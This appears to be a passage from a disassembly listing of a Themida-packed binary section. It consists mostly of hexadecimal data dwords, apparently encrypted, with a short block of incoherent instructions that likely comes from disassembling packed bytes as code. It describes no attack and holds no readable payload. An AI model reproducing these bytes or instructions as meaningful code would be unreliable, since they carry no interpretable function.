		dd 9E1EAACAh, 0CE498374h, 8C08205Eh, 0F87B6E1Eh, 8F333C08h
		dd 0D8F55194h, 1D2B9012h, 4E7A5330h, 5B042014h,	41FD0F21h
		dd 5776F209h, 7CD8036Eh, 0CB92F8FCh, 0F02044D1h, 0CD14A89Eh
		dd 0D2E616F0h, 0B07D1402h, 5CF6026Fh, 94449CC6h, 7B952591h
		dd 778CC01h, 9A26E056h,	0BC79E2F1h, 2CAB09BCh, 4F848276h
		dd 289105B1h, 75755BDCh, 0AAE01083h, 787C5988h,	10B3FE30h
		dd 52099E0h, 8E5B53F1h,	3D904017h, 45911C4Eh, 0B5BDF017h
		dd 2C90C4C8h, 61789855h, 2B194D89h, 0F5917806h,	5F6E3C08h
		dd 87BE007Bh, 3394B5F9h, 1773B6C5h, 50427028h, 7C8003F0h
		dd 0B81A02FDh, 253018DAh, 50EF4860h, 0C1784B6Fh, 73A8C42Bh
		dd 8357B0D4h, 0C1401695h, 6E069578h, 0A79EC00h,	27B18B1h
		dd 0F01264B4h, 5068E622h, 86C524h, 0B113FB0Ah, 8137BC96h
		dd 0ECFCAA17h, 73B94A1h, 952CFD1Ch, 0AFC0641h, 0ED2DB943h
		dd 0E084C4C9h, 0FD4986B8h, 4EB30EE8h, 0F020E666h, 0F97D0440h
		dd 0C13A1C9Ch, 93BA2D4Ch, 0D0039F88h, 16B5515Bh, 48F37C10h
		dd 144AC660h, 0EF989C01h, 0C880AC2Eh, 2FF054C3h, 0FE7C1ED8h
		dd 63E01A02h, 56EA5B5Ah, 0A9880094h, 0E58DFBE3h, 0FCA74706h
		dd 1D502860h, 41A6E044h, 54B549A2h, 9068701Bh, 0DCA849h
		dd 26023B8Fh, 1751897Ch, 818395A1h, 9D765B84h, 82570FECh
		dd 85673480h, 3326031Eh, 0B203F03Bh, 7BA0A00Fh,	7C77073Dh
		dd 0FD79E841h, 647D7271h, 7BC15E01h, 0F40A4A80h, 0C700FB19h
		dd 14637335h, 9597EFA3h, 295514C2h, 0C4D0C0h, 78D2F98Ah
		dd 0EBB641C8h, 0CFED141Ch, 544CA400h, 98B8FDh, 0FFAADD73h
		dd 0D96AF234h, 0BF0399E8h, 0A0783546h, 7C18A641h, 503000E5h
		dd 91A16B06h, 0B703D1EDh, 0FD2D540Bh, 80582C94h, 83B002Fh
		dd 7FE1EF05h, 4C085650h, 32F7B618h, 198D0A28h, 38E3AD06h
		dd 8801FBECh, 0E113DD7Bh, 188F01D2h, 307BBD4Eh,	0D736E3C7h
		dd 0DB531879h, 12CE0014h, 7E73391Dh, 4F210C58h,	193996BAh
		dd 7628297Ch, 121F80B8h, 20FEE0Dh, 804706E8h, 48D06030h
		dd 1BFCBBA0h, 769930C7h, 70E0793Ch, 4A9403F4h, 0E765189Ah
		dd 0DF15180Fh, 96BD06D2h, 70E3F10h, 95B97A30h, 0F0A21B8h
		dd 82F7023h, 0AB2CAE07h, 0A5D4B681h, 0FFA09Dh, 0B38B109Fh
		dd 801FD74Ch, 0DDE5255h, 61BD06C6h, 84505050h, 8FE23F6Eh
		dd 2F90800Eh, 0BAD316E1h, 7CE1F0CAh, 4DBB9B01h,	92217EC0h
		dd 2576D0h, 3BB1C940h, 0DFE32687h, 0A6804600h, 0A979F25Bh
		dd 7E6E30F7h, 98723560h, 71B6A40Eh, 59001CE0h, 3D8CFE22h
		dd 3795B825h, 60020105h, 4776B4C6h, 0EA0C7860h,	0F8589977h
		dd 0ED9D0FEEh, 0F9462001h, 67072E23h, 5125058Ch, 0C6FC3A3h
		dd 27566914h, 35648A0Ah, 9F27ED5Eh, 34845B1Eh, 57535FD0h
		dd 30446907h, 828017F5h, 65C34F7h, 43EA1FE8h, 2A0D3674h
		dd 3A1D8CDBh, 0C302AA87h, 58602F82h, 0B9517E1Ah, 0B43F1600h
		dd 0E1D2496Dh, 98BB4C53h, 328FE404h, 0EBCD80D1h, 11067CABh
		dd 735AEA1Bh, 0A2BCE15Ah, 30E5610h, 0FF5CD989h,	7E047EC9h
		dd 0DF2DFAE7h, 3E6311Ch, 0E4CB8561h, 6D00C482h,	64DCC058h
		dd 0F8261F28h, 1E87B9E0h, 60093951h, 0C47BBBE8h, 0F0027F7Ch
		dd 53C14935h, 54406102h, 884175C1h, 8D42905Ch, 1093808Ch
		dd 6C9C69C9h, 0EA1A7150h, 0E0DFB028h, 5BBD5E65h, 93EADF60h
		dd 2D31CA77h, 8E03FCCh
		dd 72326FBAh, 0BF575E1Fh, 5456077Eh, 0D720DFF8h, 0C51D9DEAh
		dd 0C340BC36h, 11D15964h, 5F6A82E2h, 985B4569h,	44BE56E9h
		dd 912AEA03h, 5CC0819Bh, 62276F22h, 35F87E8Ah, 701C7AFBh
		dd 0BB251502h, 1D06E27Dh, 72C5EA67h, 6EB0727h, 0B3094F58h
		dd 170144E5h, 77142AC3h, 43F2576Ah, 0C218140Ch,	179AEE2h
		dd 0B597455h, 0E05ACE8Ah, 22DD6E61h, 5D6C8899h,	4AA01C25h
		dd 92A2F343h, 67B951ABh, 1FEA2D40h, 25B2AAF6h, 0B6595DC8h
		dd 0D21EA07h, 0C7812E87h, 0EC23873Fh, 720CCBABh, 0CC73E004h
		dd 165C76F4h, 5D70280h,	37411442h, 58F38381h, 92D61062h
		dd 5B9056Bh, 6C70251h, 100A1BC4h, 0D6B881A2h, 0ADAEE1D4h
		dd 0C3C0E7A1h, 0AF2E032Eh, 0A046530Eh, 4CBF7ADCh, 52F90202h
		dd 2077D769h, 7DB9E082h, 0A634314Ch, 3523CE4Ah,	69E0F858h
		dd 0EA7740C1h, 0A902433h, 159EB152h, 295B0C83h,	289081C4h
		dd 3A1BB353h, 0D104DBF7h, 0D4FD25F3h, 0E5858441h, 8C48A09Dh
		dd 0C2EF9608h, 54575901h, 77239CBCh, 3776FFF7h,	260001Eh
		dd 0EC825ACCh, 0D624709Dh, 0EA069F7Ch, 814CF2A7h, 0A95DEC3h
		dd 0C315AF32h, 0DA9E6499h, 0C2272710h, 0E1AADA8Ch, 26D3F85Bh
		dd 180D680Fh, 98AEEA41h, 0B6C45D80h, 5A3E842Ch,	14EC691Ah
		dd 0C02C9418h, 4D5FCD28h, 0A0ED0248h, 592808C8h, 326DED34h
		dd 1240D06h, 95E254EAh,	4048EC60h, 9A98516Ch, 480220Fh
		dd 1A348617h, 7BC80065h, 2248943h, 0BA0452F0h, 7A3A5504h
		dd 128A9380h, 335675B2h, 4332A1E6h, 8C825DAh, 0CDE4C5FFh
		dd 0F2ED811Fh, 33665B08h, 0D56F306Ah, 62C8A69Ah, 0A056AC89h
		dd 81E9419Ch, 0C2A23067h, 0BBA869E8h, 29D77377h, 0AB469985h
		dd 0CE8D467h, 0DD44EA9Dh, 0D7F8C3Dh, 4F69530Bh,	0A91B1657h
		dd 0C8438CC3h, 4CE3F253h, 0EBEA26ECh, 0B7679F3Ah, 0DD16924Ah
		dd 34730D46h, 6031B1A6h, 1BC0E90Ah, 9131375Dh, 2B4C3C32h
		dd 4CD87944h, 7E795Bh, 823A1408h, 453F6DE7h, 16AD254Ch
		dd 6801EFD2h, 79A3080Fh, 0B9C1C3DBh, 18810322h,	163DEC4Dh
		dd 1C953002h, 0BEB2E44h, 561F1B71h, 6DC7C0Dh, 4A080C08h
		dd 1139602h, 14C1380Fh,	0EA74345Ch, 0CF859F31h,	0DB4D3EC5h
		dd 3895733h, 960F85BAh,	17416980h, 60582A54h, 6CA70062h
		dd 0FA8A424Dh, 0FF3928EAh, 0AE6FAA5h, 6E4B47A3h, 44BC08D5h
		dd 58ACEA1Dh, 250E5A92h, 7AC56740h, 318EF560h, 0BA191E4h
		dd 21B29484h, 9A622440h, 5F36C082h, 2AC3034h, 61651D6Ah
		dd 0CE5C687Ch, 3CFF26F3h, 45B4BA07h, 0E6326763h, 0BC77403Eh
		dd 0F70F2B0Fh, 5EEC8414h, 9E8AEC3h, 880D89B6h, 20B52013h
		dd 4668EAECh, 12C33280h, 16D10259h, 0F9383230h,	300A7AC0h
		dd 2A09067Ch, 0BB2D8CE9h, 9D59501Dh, 7511C908h,	2AD5833h
		dd 0E68A5628h, 1109C280h, 8203447Fh, 0D753D2D0h, 0C0E8A265h
		dd 0D05F1C09h, 41A03795h, 0C0095536h, 832ADB20h, 43C9329Eh
		dd 0EA0A14D6h, 80DADB97h, 6050F3EFh, 0F139324Ch, 9FC2B25Fh
		dd 1025359h, 73764CF2h,	0E9C2F026h, 0C8204804h,	0C2C4CB8Ah
		dd 0F23E4CC0h, 0A06DB064h, 476A8Bh, 0E3C270E2h,	4BDBF804h
		dd 0EB1E87B0h, 0C70B62Dh, 7CE526C1h, 0A8F3027Eh, 2A9D05D1h
		dd 0B6298DC2h, 0C4E83284h, 92D2CD63h, 0C101880Ch, 942695Dh
		dd 36A5D58Ch, 0C0EECC25h, 3FCA2449h, 3BBB26D2h,	0F52369A9h
		dd 0D8F86000h, 0AC1BCDEAh, 96E420DAh, 36AA6913h, 8A31E164h
		dd 0E2FAFEEBh, 0DD7749CAh, 6510374h, 0E1C133B1h, 5EB00608h
		dd 0BAED6928h, 46ACC01Fh, 0F800542Eh, 4CA96ACEh, 74C433EAh
		dd 20EFC6B3h, 159F425Bh, 0EA6148B1h, 0A8E49ADh,	0EEE6C6FFh
		dd 0BA025AF0h, 11E82E9Eh, 1C7BE832h, 0E55C8154h, 57AA50D6h
		dd 0D9A2E78Ah, 0C0CAA1Bh, 104587EAh, 0DCD0F2Eh,	79454BABh
		dd 88124A5Dh, 82DD3C8Eh, 0DA73347Fh, 15F8017Ah,	406DA53Eh
		dd 0FD1CAEECh, 7D0C2F64h, 169D84FAh, 0EBD3508Fh, 8CF1C4B4h
		dd 5C5CE0A3h, 5CF434F6h, 5E92F627h, 0E7C20171h,	84C2BD08h
		dd 4706A516h, 8ADA9FC0h, 2A0405D4h, 91885FF4h, 155C234Eh
		dd 2C7DA105h, 36F48D89h, 792258CAh, 0F6177630h,	0CD0773AFh
		dd 5EEB0271h, 1903E51Fh, 412C7798h, 105C2295h, 36031E2Bh
		dd 26D2665Ch, 10FC3AD3h, 0C42D4C99h, 0BF00967Ch, 477B74E1h
		dd 9F60EFF4h, 5CD92914h, 20547A53h, 811C7D1Dh, 0EECF93C6h
		dd 0A6746930h, 6E543467h, 30D40632h, 10FC8485h,	8B18089Ah
		dd 0BCBB320Bh, 5D165A17h, 0FD0A651Fh, 93A6EB20h, 0B2BD7F26h
		dd 41883F6Ah, 0FF725D8Fh, 18EB4118h, 7B1E0BBCh,	0D59280FEh
		dd 535DA882h, 893A3137h, 0EACBC8DAh, 611975E3h,	1E4EF56h
		dd 0C9B71067h, 0F36052D1h, 3D9E67C5h, 9C8672E3h, 98245659h
		dd 62BB924Bh, 88982538h, 6C2E8BD8h, 5428FBD9h, 0C7F66FB0h
		dd 77F76B40h, 0B181F4D6h, 0B880775h, 372A27FFh,	5FF33160h
		dd 4D16308Ah, 0B2D44441h, 5E499216h, 549485D6h,	0AC041EB4h
		dd 0C0F5F7BBh, 65495C86h, 0FA2A5017h, 3E08AB10h, 8CA6D460h
		dd 0FF3A2471h, 81590634h, 984A04ECh, 6E1C7E40h,	26DB1283h
		dd 0D93DEFB7h, 0ED561A8Bh, 50421E6h, 2308419h, 0D962E906h
		dd 0F70841F7h, 3142160h, 8BFB01AAh, 0C4DA243Ch,	92ED16A3h
		dd 0F490A48h, 44D9F705h, 1ED33E91h, 0BF148B38h,	1D4861A3h
		dd 0CCD8F714h, 0C7AB4FDAh, 0B850581Eh, 0B22C183h, 0D663CF29h
		dd 68200C85h, 966B41BDh, 0EC900541h, 0C838CC1h,	240C0B87h
		dd 6E0CE95Ch, 0C23C80BCh, 914E19E2h, 90E33128h,	0C09268D0h
		dd 2414893Dh, 7451FF57h, 5FA5128Eh, 418F7091h, 94D7F79Ch
		dd 0C7AF48B4h, 0FE26EF88h, 180E62B8h, 8FB8148Bh, 2BA5F829h
		dd 0E802E906h, 0CCC28CA6h, 660A7516h, 0C1B45007h, 5861E730h
		dd 0F8C0D704h, 0C63B02Ch, 21F06852h, 0A2D1542Ah, 0E98498F0h
		dd 42374125h, 6626020Bh, 0B5B201F3h, 0E908EAC0h, 1C03EF0Ah
		dd 2253F6BDh, 0F7AD143h, 4C33D88h, 871406A1h, 335C1880h
		dd 6B99E9DAh, 0C5001877h, 0C610DAF2h, 985F3C3Eh, 0F8359579h
		dd 2B04115Bh, 0D8AF14FFh, 822D0380h, 0D150BE67h, 0BA4D9794h
		dd 0C0FDC4E0h, 0DABD5524h, 3E1F7083h, 0F5AEE29h, 9F11602Bh
		dd 336C005Bh, 0BCD16DBFh, 0DF48294Fh, 0C64774h,	525FFA31h
		dd 92266CE9h, 6968077Ah, 0D222484Dh, 99E0E7C1h,	79C058E9h
		dd 78ECE281h, 551D7B1Fh, 0B459B960h, 0C6523EECh, 8EF9010Ah
		dd 3941AB09h, 5BBC8472h, 21A35481h, 728B0AF8h, 60539001h
		dd 55529683h, 0B592C8E9h, 2CD3661Fh, 0F28C9C9Eh, 0A4C181D5h
		dd 6810F6DEh, 1EA10A60h, 40370D87h, 0DCB28A10h,	2C8FC161h
		dd 0F1CCC6A0h, 27EBA842h, 81320C06h, 0C14F01C7h, 0E902EF06h
		dd 5010641Dh, 340169B9h, 352C59CFh, 8BFA0EF7h, 2BE9C45Ch
		dd 0AE76965Eh, 7A6106F0h, 0C5815D10h, 0ED211723h, 884BE631h
		dd 605E0C92h, 5FF96878h, 4E818981h, 0BA18A2BDh,	0A4C8010h
		dd 0E93F6874h, 0CEF0606Bh, 5EF1295Bh, 0A4C0C8E6h, 26E79C3h
		dd 0E681A01h, 0B1084B11h, 43F700C5h, 56E923A2h,	0C2972560h
		dd 0CB5451h, 0BA525935h, 55795F21h, 0EAFEF3B0h,	0C6660401h
		dd 5AD00133h, 0DB2D0681h, 0E076C03Ah, 27FE883h,	316D4F90h
		dd 3A200D06h, 16D3C182h, 20619010h, 7140437Fh, 0F24F9A5Bh
		dd 15044C3Dh, 290F83C8h, 1923A4C5h, 4C267D2h, 0FA231B14h
		dd 5A976990h, 0A0EC5FD8h
		dd 6DE8987h, 8BF0315Bh,	0E3F2F434h, 8318D493h, 0A9AEE90Ch
		dd 0CDD858BFh, 0FC2E92FBh, 306D1303h, 55F81A53h, 50A8F62Dh
		dd 10A4B841h, 4063A713h, 3305DC00h, 120DE20Eh, 0D03E0C1h
		dd 185C1C60h, 90C287ECh, 60D7895Ch, 14B1F70Ah, 0CC219D3Ch
		dd 0D01FDD3Fh, 3DF3003Fh, 0F7047650h, 0DC56D333h, 0D30D875Bh
		dd 6D6C422h, 0CBB0F85h,	0D45D95A0h, 996C4083h, 2D18A0BAh
		dd 311C1DB6h, 7A814254h, 0E8826A06h, 0E364E2E9h, 9252E02Ch
		dd 20F81C46h, 2924F097h, 4221D6CEh, 855BD9B5h, 808AB633h
		dd 9901C0A1h, 0FACA0394h, 0DFCA54D4h, 0C6F7FE85h, 3AA00815h
		dd 0D8204C36h, 0CA3CA879h, 0A977093Bh, 0A1814A13h, 219A221Ah
		dd 0EFA01040h, 0C7242E8Bh, 512F57Eh, 0DC377435h, 4B2849D2h
		dd 18B5B7B2h, 19057209h, 2E21E808h, 68035A52h, 552E683Dh
		dd 0F9F42A28h, 0E208808Dh, 4668580Dh, 3A812133h, 0EC8026B4h
		dd 10D970E8h, 0B6B0E2E0h, 5A3020EBh, 218A14F5h,	8F25C26h
		dd 8B1E542Ah, 74C81A4h,	50F9057h, 3BE3476Bh, 0FC9E1889h
		dd 0F7050716h, 6D556827h, 60E9C08Ch, 0D59C351h,	0EB5B4E80h
		dd 26B398E0h, 442AF2Ch,	8144782Bh, 0C392Dh, 581C77FFh
		dd 1024AB9Dh, 9CA94424h, 53B28933h, 1B2D3332h, 8F68AC6h
		dd 83502CE3h, 6644E7F0h, 0BA9AEA97h, 8802C050h,	0B507515Ch
		dd 0D9ED805Bh, 829BC533h, 414662EBh, 44144DADh,	0BD77CD0h
		dd 7359065Dh, 5209B1Ch,	0C0DBF75Fh, 447C7F9Dh, 0B9514C00h
		dd 11CE4F96h, 0E9C80931h, 4B208705h, 1A6D8ECDh,	0B42A307Bh
		dd 0E509D2F9h, 82AB56D0h, 69F77613h, 9F61D92Ch,	9C53404h
		dd 44ECD08h, 8C727D68h,	0CA0CB517h, 0D081CD80h,	0B6522C01h
		dd 62FA0941h, 0D28B4C23h, 2DF05926h, 5DB6092Ch,	0B2ECF92Eh
		dd 0EEA9C00Bh, 27CF0D8Ah, 2BD60126h, 5A690820h,	0A832161Eh
		dd 0CB4BE206h, 5C95E397h, 29CB6804h, 60587998h,	95F62F1Eh
		dd 4D03725Ah, 315EF729h, 0E5B634F8h, 8FCE02C5h,	0D4A94047h
		dd 0A0E92021h, 0EB438119h, 2992211Bh, 0F2D0C84h, 0F5B0A0BCh
		dd 49107317h, 80033509h, 0A4F05A06h, 0F5314955h, 17F6C303h
		dd 3C060979h, 2238750Ah, 55C5000Ch, 0FB017E8Bh,	1B67E1E9h
		dd 837B096Eh, 0B02E35Dh, 0BE57D03Eh, 39CDEC83h,	0EA94E341h
		db 0E0h
; ---------------------------------------------------------------------------


loc_51ADF1:				; CODE XREF: Themida_:0051AE2Fj
		dec	esp
		and	eax, 27BD0537h
		out	0F8h, eax	; AT 80287 data.
					; 286 sends opcodes & operands and receives results.
		mov	al, ds:7A11B280h
		xchg	eax, edx
		adc	dh, [edx]
		sub	ebp, esi
		adc	[eax+32224808h], bl
		mov	dh, 43h
		inc	dword ptr [eax]
		pop	eax
		push	ebp
		mov	ebp, esp
		mov	bl, 0F3h
		add	al, 68h
		pusha
		push	cs
		int	3		; Trap to Debugger
		or	eax, 77C901B8h
		sub	al, 0Ch
		xor	eax, 1ADC70EAh
		dec	eax
		adc	ch, cl
		xor	al, 67h
		mov	[eax-2F67F14Eh], bh
		loop	loc_51ADF1
		inc	ecx
		add	eax, 0C016F280h
		rcr	dword ptr [edx-70h], cl
		and	dword ptr [eax], 0FFFFFFC1h
		xchg	eax, edx
		shrd	dword ptr [ebx-49h], edx, 1Eh
		sub	[ebx-58h], esi
		retf	2A44h
; ---------------------------------------------------------------------------
		db 1Dh,	13h, 68h
		dd 73549DBh, 4DCC7E01h,	0AD401018h, 1FF9553Eh, 0D6540131h
		dd 0FC9D0608h, 89943286h, 315F59CCh, 0CC265452h, 0E6C00036h
		dd 0C6800707h, 0D3372CC8h, 1A2E278Ch, 7D66CBBEh, 8266559Fh
		dd 0D3D113E4h, 5C82D12h, 894628E4h, 0DE963C74h,	0C4A29ECDh
		dd 0AA6C601Ch, 70EB5AD6h, 29FED5DFh, 2B2C0C44h,	0BD555FC1h
		dd 0C9100F63h, 945F4C40h, 0FC68087Ch, 82872C03h, 6DDC4620h
		dd 26123CC2h, 20050143h, 0E91439Fh, 220A4C7h, 90295F4Bh
		dd 0B04C925Dh, 66304007h, 465713CFh, 4C142221h,	0BE9EAF5Ch
		dd 2914D27Dh, 657B0997h, 1A9D22C2h, 255DF268h, 0C220BF99h
		dd 31E9FA01h, 53EB0C63h, 38D0h,	505273ECh, 4C24EEB0h, 0E820AA13h
		dd 0F8EA012Eh, 0A6617002h, 523C4128h, 3E9A004h,	800C04FFh
		dd 0F6644202h, 0DE465360h, 3001C51h, 59895758h,	0E9837BE7h
		dd 6E42DF37h, 26AE59BAh, 0FE428D10h, 246D46CFh,	5A04555Ah
		dd 0B0EC5392h, 9486FB90h, 872058F8h, 0F2A1802Ch, 1D27096Fh
		dd 8B4279E9h, 0C44FF859h, 5E0A0938h, 35A108D3h,	38645D1Ch
		dd 0C00E3043h, 8C4C296Bh, 58590C80h, 13380505h,	0CDC2725Eh
		dd 68FE81B6h, 89232EF4h, 9CE98A36h, 5F7C371Fh, 70442D7h
		dd 3109173Bh, 6333706h,	0FE5E10A0h, 0AB0A292h, 1F2D775Ch
		dd 80B60161h, 80E0920Ch, 0FC090CDh, 5E3406E8h, 0D6046CCBh
		dd 0BDDC8058h, 8949F0E9h, 34769849h, 0CBE98363h, 6911E059h
		dd 0EA84AB1h, 6854BA98h, 840BBE96h, 8A286948h, 8918ABE3h
		dd 73EE0111h, 0E9F5175Dh, 0AD464136h, 3352A068h, 7EBA0278h
		dd 42676621h, 0E9ACB169h, 877377FDh, 0CCD2E778h, 0ACBA048Fh
		dd 8310705Dh, 0D0AA857h, 0FE593EE9h, 0C17D7DBBh, 331B491Dh
		dd 298E07BFh, 0B7D50B66h, 0C3845B97h, 71E23EC0h, 0C7E6028h
		dd 437A5E9Fh, 78BCD0C1h, 18851879h, 1D8B3576h, 205EA6FAh
		dd 0FD898008h, 74FF8043h, 894F26B4h, 2923C05Ch,	515D30E8h
		dd 0FA1F73B8h, 0C20E82B0h, 61DAF7DEh, 495AD189h, 3FF6EA40h
		dd 0CB20C079h, 6DC37E1Dh, 0EBE08395h, 5E462C18h, 0A4C61E08h
		dd 6BE401Eh, 0C11F25CFh, 0CBA607E2h, 94171C25h,	44E909A0h
		dd 685570A0h, 20997739h, 914C12BFh, 9DEDC6DDh, 42E23335h
		dd 80AB92B7h, 5D634AB8h, 0C2E9767Eh, 1CF7664Bh,	182C2150h
		dd 0F8304CEh, 0D156C8BEh, 289D6E70h, 94968A4Bh,	0DE0A6D9h
		dd 104388DEh, 0F830023Fh, 8BAB54F3h, 20C6428h, 0DDEDE943h
		dd 1D607050h, 0D0260F94h, 0A2ED8350h, 20E05A62h, 0FC80059Dh
		dd 270C6E19h, 38D5F715h, 672178D9h, 63580C20h, 0F5E01B0Ch
		dd 3412ADE1h, 7816296Dh, 97E29200h, 54E9C069h, 0CD33D028h
		dd 0A00631B6h, 51009B0Dh, 0B0B454B5h, 559EC30h,	0BEE9C4FEh
		dd 0C3AB429h, 624F7F18h, 13A3C6DEh, 90109F8h, 0EE6082C2h
		dd 9D00BE56h, 68225973h, 0E01D0593h, 8332C05Fh,	0E912023Dh
		dd 5414D933h, 0A4E2E042h, 178A240Fh, 95EC009Bh,	0D3899F10h
		dd 8E2DE915h, 9C564BC4h, 394B9C8Ah, 40D932A4h, 80508EEDh
		dd 1EA20161h, 0D0A190D2h, 0E2BCA1E4h, 6E5F6841h, 289E793Ch
		dd 918B780Dh, 0EE323143h, 114D85Eh, 81EF51h, 0DA90E908h
		dd 7A2E5CDEh, 0E3704100h, 3BE1816Dh, 59B24D46h,	4441F396h
		dd 0FFE7F07Fh, 9A27526h, 3B405B39h, 516CD4E2h, 3D92A034h
		dd 1C502C6Bh, 0BCE909E7h, 0B96607E0h, 1D1B993Ah, 36E4CA31h
		dd 1003650Bh, 240A4CD5h, 12C81335h, 7B6B0805h, 4EE8304h
		dd 0E45097E3h, 0BF1CC065h, 233D4BBCh, 0EDE7C130h, 74C81F01h
		dd 0E9FD3CCAh, 40723C2Ch, 7BE67420h, 8BE40500h,	32E98419h
		dd 73ED9410h, 0FEC958F2h, 65E8A59h, 0B0B8047h, 0E96C027Fh
		dd 7F94D015h, 0D7F736D1h, 0FE748427h, 1F57D0Bh,	0D86B83F8h
		dd 83F0BCE9h, 0F5901BEh, 874668D1h, 7AF7F4DEh, 894F7C94h
		dd 0E9F5E3ABh, 1B975025h, 0E14B0AC5h, 4FC281B8h, 4632AD07h
		dd 0EA067497h, 0AE61AD2h, 995F051Eh, 6319FC4h, 460D65C1h
		dd 0D3DE3348h, 40046125h, 81008D9Bh, 2B7D27CEh,	2004724Ch
		dd 9FB8588Fh, 5A09BF18h, 0B61D67F2h, 76B42918h,	1580800h
		dd 37E95AD5h, 6FA6EF3Fh, 8B5D533Dh, 0FE8902DEh,	42F3215Fh
		dd 0B55909Bh, 850F3EDBh, 680A755Dh, 6B8D0DC1h, 732DEF39h
		dd 89224C60h, 80BAC458h, 0C08152E2h, 0DC3F28F4h, 0F4A25B21h
		dd 0E9D6070Ah, 0A320AFA4h, 56361004h, 0D9545117h, 237DF814h
		dd 0CB410BC5h, 0E3A52B94h, 875ACE84h, 0C10C87FAh, 387EDE68h
		dd 48548912h, 803F9272h, 0DDEED929h, 9327064Bh,	9916F1F2h
		dd 6A631DDh, 2CFF100Fh,	4A3C1A5Ch, 78127C1Fh, 35683143h
		dd 9D9D255Eh, 814B9800h, 751286E3h, 3A08702Fh, 3FBF011Fh
		dd 0E80CB13Bh, 0F9A866CEh, 0FD010BDAh, 69B92D31h, 0C48279CAh
		dd 63B54FF5h, 2A8BF38Eh, 285C8E19h, 485D7C0Ah, 0F9090FB6h
		dd 6AF3065Fh, 6E050028h, 2964B713h, 0CDFB51F8h,	4C577346h
		dd 0F24D10CFh, 6205C642h, 945DB920h, 7D5080D1h,	6B162F73h
		dd 9B5360E9h, 0C781D465h, 0B148457h, 4D075696h,	63F15181h
		dd 0EDB0C745h, 0BE16DC4Fh, 41008927h, 571C4BBDh, 21CD643h
		dd 5621FF1Dh, 48C1E6D2h, 1943BFBDh, 31350BE3h, 67005EF5h
		dd 47B15B4Eh, 733059C0h, 30E95333h, 808831BAh, 0F3E63EE3h
		dd 256E025Ch, 0C1D213F1h, 30244CC5h, 7C5B0B68h,	15656FE6h
		dd 18CA4520h, 462A8EF7h, 68338861h, 0D0384D33h,	2A10AF90h
		dd 0C14A4861h, 0D47FF2C4h, 0E2AE2F9h, 2FDC5487h, 824E4F84h
		dd 0C50B1F46h, 0DA010977h, 0AEB8E3E6h, 0E913B4B8h, 4C40DC22h
		dd 695075C5h, 4B2AB8F6h, 833D2708h, 2774E784h, 6717FB0Eh
		dd 0C8F7C753h, 0C8BDEF72h, 0CB608BD4h, 0F1A1C237h, 0CFC12958h
		dd 0CC9EF245h, 0F90B8741h, 90DAF6E9h, 0E05820E8h, 0F0539814h
		dd 46725C5Dh, 0E4FD22Ch, 1C331F6Dh, 6F4438AEh, 57212540h
		dd 0B1379D8h, 3E4604C0h, 500BE9h, 706BAA9Ch, 1EF75A02h
		dd 0BDE0C027h, 0F6B4E979h, 12473B2h, 6D0891D3h,	71E4371Ah
		dd 82081B1Eh, 2B1FEF0Ch, 4E4F003Ch, 0E927272Fh,	0F6F98502h
		dd 6C40AA19h, 0FB29AF81h, 0E491EB81h, 0CD9E3299h, 468F6E02h
		dd 45FAB5Fh, 4A40272h, 2DEE9A04h, 0FC22CCAAh, 0CA0C239Ch
		dd 2C5277D6h, 8D5769h, 49387D86h, 7A1CCD25h, 528C04E9h
		dd 1CD59333h, 0A4D0EB86h, 97EF1F67h, 0B15947E4h, 0EFC1A775h
		dd 79214E49h, 251C5709h, 62282A71h, 91447F68h, 0E5A7B9D1h
		dd 0CE9E2814h, 54B9E950h, 6189DD07h, 0F680D4C8h, 1EC6CC2Bh
		dd 28CC06C2h, 1C9E82F5h, 5D02182h, 63E17BF4h, 0E99713F7h
		dd 4755640h, 1E167042h,	203E2E76h, 5B4C75A8h, 6C4C84D3h
		dd 5EC15212h, 0D637CCC7h, 0C1775B88h, 7C680A0Ch, 5EF5A573h
		dd 25117755h, 0D612E411h, 0DE3C7558h, 873BA50Ch, 46EF1881h
		dd 96C70A7Ch, 7F6F3C7Fh, 0C5F1C0F3h, 95CC0482h,	0EFC1AE00h
		dd 8E2AE907h, 0EA329D35h, 424FE0D0h, 40EF0E7Fh,	1030F67h
		dd 895824C2h, 7A292850h, 0CAA52E39h, 0EF2B50h, 7440DB2Dh
		dd 6718357Bh, 36A21D58h, 0B584C7CAh, 0F0C0743Ah, 438AC3Ch
		dd 0A7D82C9Ah, 4B29E958h, 95F23778h, 319144CDh,	3C9AC0FDh
		dd 0A9121EA8h, 5B85E821h, 20E90DA0h, 0C1265091h, 0BC3961E1h
		dd 6F19940Ah, 188374AFh, 0F64A42E2h, 1B2413A7h,	0E905C004h
		dd 93A4845Fh, 135AB090h, 60DBF726h, 703B9A6h, 3C1DD826h
		dd 66D11418h
		dd 0E9AD7368h, 1A3327A4h, 82611C3Dh, 0ED732581h, 669D3590h
		dd 0CD455F0Bh, 7302743Ah, 60EDD15Fh, 1E153B8Eh,	0C175EAh
		dd 0C9685007h, 58F2034Ch, 0CFCCE93Fh, 2D1A154h,	76631897h
		dd 25206089h, 0B5D09E1Fh, 1046E24Ch, 662F8BFCh,	91C050Ah
		dd 0F903D2CFh, 1D481BB5h, 5A7F2426h, 0E52DA02Dh, 1F6CB4h
		dd 0FFED8318h, 56BDBB53h, 4E24993Bh, 0E95B4602h, 0B6A648D3h
		dd 0CBB50F8Dh, 166CDFEh, 0C6EEFEEEh, 3F60B0EEh,	895EF19Fh
		dd 21591FCEh, 69BB49F0h, 0F784AB2h, 4BE0540h, 1FF2779Eh
		dd 92B3C446h, 0E1A25F98h, 0B3022F70h, 60A0C167h, 5CCAEBCCh
		dd 0EC129588h, 5C0FDC79h, 947836CBh, 0E8C1070Ch, 29C83108h
		dd 0A11E5584h, 0C5226851h, 0E740D3A6h, 0F552E5EDh, 7F9C22h
		dd 892DDC57h, 68135DE9h, 0FC8C722Ah, 30A8A852h,	0B6179AC8h
		dd 612526Dh, 61B00272h,	0CBF6795Ch, 0B6FEC859h,	0FE58800Eh
		dd 0CD80C50Ah, 0F73ABAC4h, 0D6064768h, 0C09B713h, 228462AFh
		dd 515FB0B6h, 0D99BA5B3h, 0FF7A88BCh, 21DA8195h, 81301C4Fh
		dd 1254DFE1h, 313C1358h, 6C5EF0FAh, 0A740D6FCh,	4A3635F7h
		dd 73AC02BEh, 0EE3113CFh, 0A289E15Ch, 8A0C4652h, 0EC8C59FCh
		dd 43039E50h, 0D5F772D1h, 268ACBE9h, 971A01FFh,	44771F5Eh
		dd 82B040C8h, 8E8314Ah,	7A047FC2h, 0CA0114C7h, 80402C4h
		dd 3AC85259h, 22F3A65Ah, 0C704C8F0h, 85ED54DCh,	3F3146B1h
